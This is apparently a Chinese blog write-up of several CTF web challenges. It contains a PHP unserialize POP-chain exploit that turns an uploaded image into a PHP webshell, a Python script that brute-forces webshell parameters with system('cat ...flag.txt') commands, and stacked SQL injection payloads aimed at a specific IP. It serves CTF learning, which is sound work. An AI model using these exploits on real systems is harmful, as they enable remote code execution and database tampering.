本来应该早一点就写好博客的,但是最近几个大作业压着,菜鸡累了,于是拖拖拖(捂脸
WEB
upload
这个网站进去登录注册以后就是一个上传图片的地方,经过一堆测试,发现只能上传图片,而且他会将文件名直接md5
加密,然后再加上png
后缀,所以想直接上个图片马是不行的了,接下来就是扫泄露扫出了www.tar.gz
,所以就是愉快的源码分析了 先看index.php
,里面有个check_login
函数,可以看到里面有个反序列化,而且发序列化的内容是cookie
里的user
值
1 2 3 4 5 6 7 8 9 10 11 12
public function login_check () { $profile=cookie('user' ); if (!empty ($profile)){ $this ->profile=unserialize(base64_decode($profile)); $this ->profile_db=db('user' )->where("ID" ,intval($this ->profile['ID' ]))->find(); if (array_diff($this ->profile_db,$this ->profile)==null ){ return 1 ; }else { return 0 ; } } }
再继续审计,可以看到profile.php
里面有个upload_img
函数和__call
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
public function upload_img () { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url="http://" .$_SERVER['HTTP_HOST' ].$_SERVER['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url,302 ); exit (); } } if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this->upload_menu/$this->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } } public function __call ($name, $arguments) { if ($this ->{$name}){ $this ->{$this ->{$name}}($arguments); } }
可以看到upload_img
函数里面有个copy
函数,如果我们能对其filename
和filename_tmp
参数进行控制,那么我们就可以复制任意文件过去了,接下来就是想办法怎么控制里面的参数了 继续进行审计,可以看见__call
函数如果我们可以控制name
这个参数,我们就有可能调用过去upload_img
这个函数了 那么怎么触发它呢,在register.php
里面,有个__destruct
的方法
1 2 3 4 5 6
public function __destruct () { if (!$this ->registed){ $this ->checker->index(); } }
而register
类里面是没有index
方法的,所以,我们就能让他触发过去__call
,然后想办法控制参数,让他触发upload_img
函数,所以pop链就是__destruct --> __call --> upload_img
,最后payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
<?php namespace app \web \controller { class Profile { public $checker ; public $index; public $filename_tmp; public $filename; public $ext; public function __construct () { $this ->index = "Ariel" ; $this ->checker = 0 ; $this ->filename_tmp = "upload/8b26631219c8f8ecac51b935cc87ccd1/f1f7f21e6c1bee52fad6244963831464.png" ; $this ->filename = "upload/8b26631219c8f8ecac51b935cc87ccd1/Ariel.php" ; $this ->Ariel = "upload_img" ; $this ->ext = 1 ; } public function __destruct () { echo "\nok" ; } } class Register { public $checker; public $registed; public function __construct ($name) { $this ->registed = 0 ; $this ->checker = $name; } } $p = new Profile(); $r = new Register($p); $payload = array ("ID" => 1 , "payload" => $r); $payload = base64_encode(serialize($payload)); echo $payload . "\n" ; }
先上传一张内容为小马的图片,注意加个图片头,然后将生成的payload替换到cookie里,就可以成功触发反序列化,生成我们想要的文件 接着就能愉快地执行任意命令了
强网先锋–上单
这道题一进去就给了一个框架的目录,发现能读的东西还很多,读一下log
日志,能读到一句payload,还很熟悉,了解过的都能一下看出来是tp5任意命令执行的漏洞的payload,拿出来直接利用就能拿到flag了
高明的黑客
这个进去能下下来一个压缩包,打开看见有3000多个文件,里面一堆的命令执行函数,但是前面又有一些将获得的变量置空的语句,大胆猜测,这中间有一个是真的小马,所以我们现在就是要将他找出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
import reimport osimport timeimport requestsfor i in os.listdir('F:\\hacker\\' ): with open('F:\\hacker\\' +i,'r' ) as f: try : data=f.read() m=re.findall(r'\$_GET\[[\'"]?(.*?)[\'"?]\]' , data) for k in m: r=requests.get(url="http://ip/hacker/" +i+"/?" +k+"=system('cat /var/www/html/ctf/hacker/flag.txt');" ) print "http://ip/hacker/" +i+"/?" +k+"=system('cat /var/www/html/ctf/hacker/flag.txt');" if 'Ariel' in r.text: print "[+]find!" print i + " " + k os._exit(0 ) except Exception as e: print(e)
找出来可利用的文件就能拿到flag了
随便注
过滤了常用的字符,但是1' or 1=1#
可以拿到当前数据表的所有数据,而且还能进行堆叠注入
1
http://119.3.203.228:32420?inject=1'; show databases;
1
http://119.3.203.228:32420?inject=1'; show tables;
1
http://119.3.203.228:32420?inject=1'; use supersqli; show columns from `1919810931114514`;#
接下来这里有个坑点,这个时候如果直接rename数据表再利用原来的select去读flag是不行的,因为少了id列,但是加了id这个字段还是在报错,只能写在一起执行才可以
1
http://119.3.203.228:32420?inject=1';rename table `words`to flag;rename table `1919810931114514`to words;alter table words add column id varchar(30);%23
这个时候就可以利用1' or 1=1#
读到flag了
评论